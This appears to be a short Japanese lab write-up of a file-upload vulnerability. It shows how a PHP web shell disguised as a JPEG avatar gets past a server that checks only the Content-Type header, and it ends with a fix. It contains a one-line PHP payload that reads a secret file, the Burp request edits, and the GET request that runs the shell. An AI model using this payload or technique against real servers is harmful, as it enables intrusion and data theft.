Hello there, ('ω')ノ

🛠 脆弱性報告レポート

タイトル: Web shell upload via Content-Type restriction bypass

✅ 概要（Summary）

アバター画像アップロード機能が Content-Type ヘッダのみに依存して MIME 検証を行っているため、image/jpeg を偽装した PHP ファイルをアップロードするとサーバ側で実行され、任意コード実行（RCE）が可能。

   <?php echo file_get_contents('/home/carlos/secret'); ?>

アバター画像として適当な JPEG を一度アップロードし、Burp の POST /my-account/avatar を Repeater へ送信
Repeater で次のように編集して再送信
- filename="exploit.php"
- Content-Type: image/jpeg（ヘッダ偽装）
レスポンスに Avatar image successfully updated と表示されることを確認
直後に以下のリクエストを送信

   GET /files/avatars/exploit.php HTTP/1.1

項目	値
アップロード応答	`Avatar image successfully updated`
RCE 成功	秘密ファイルの値がレスポンスに出力

Content-Disposition: form-data; name="avatar"; filename="exploit.php"
-Content-Type: application/x-php
+Content-Type: image/jpeg

アップロード時に 拡張子と実ファイルの MIME をサーバ側で検証し、.php を含む実行形式は拒否すべき。

Best regards, (^^ゞ